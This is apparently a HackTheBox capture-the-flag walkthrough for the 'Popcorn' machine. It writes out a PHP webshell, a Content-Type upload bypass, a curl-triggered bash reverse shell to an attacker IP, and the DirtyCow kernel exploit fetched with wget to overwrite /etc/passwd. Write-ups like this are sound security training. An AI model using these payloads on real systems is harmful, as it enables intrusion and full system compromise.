Popcorn
Nmap :p
nmap -sC -sV -p- 10.129.72.172
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.12
|_http-title: Did not follow redirect to http://popcorn.htb/
Really old OpenSSH and Apache, so this is an old Ubuntu box. Running gobuster on the site finds a /torrent directory hosting a Torrent Hoster app.
gobuster dir -u http://popcorn.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
Foothold
We can register a user on /torrent with no verification. Once logged in we can upload a valid .torrent file, and then on the torrent’s edit page there’s an option to add a screenshot, which is supposed to be a jpg or png.
The upload only checks the Content-Type header the browser sends, not the actual file. So we make a simple PHP webshell:
<?php system($_GET['cmd']); ?>
Upload it as the screenshot, intercept the request with Burp, and change Content-Type: application/x-php to Content-Type: image/png. The filename stays shell.php and the upload goes through.
The app renames the file to the torrent’s hash, and we can find it by browsing /torrent/upload/. With a listener running we trigger a reverse shell through it:
nc -lvnp 4444
curl "http://popcorn.htb/torrent/upload/08ada5a7a6183aae1e09d831df6748d566095a10.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.10.17.229/4444%200%3E%261%27"
Now we are www-data, and we can read the user flag from /home/george.
Privesc
Checking for SUID binaries and sudo rights didn’t turn up anything besides the usual system ones, so let’s look at the kernel instead:
www-data@popcorn:/$ uname -a
Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686 GNU/Linux
A 2.6.31 kernel from 2009, 32-bit. That’s way older than DirtyCow (CVE-2016-5195), which is a race condition in how the kernel handles copy-on-write memory. It lets an unprivileged user write to files they should only be able to read, like /etc/passwd.
We use firefart’s version, which backs up /etc/passwd and then overwrites the root line with a new user called firefart that has UID 0 and a password we choose:
git clone https://github.com/firefart/dirtycow.git
cd dirtycow
python3 -m http.server 8000
I first tried compiling a 32-bit binary on kali, but cross compiling for i686 turned into a mess of missing libraries. The box already has gcc, so it’s way easier to just compile it there:
cd /tmp
wget http://10.10.17.229:8000/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
./dirty yourpassword123
It takes a few seconds, then we can switch to the new root user:
su firefart
# password: yourpassword123
whoami
cat /root/root.txt
Root confirmed. One thing to remember on a real engagement: restore /etc/passwd from the /tmp/passwd.bak it creates when you’re done.
Ez gg.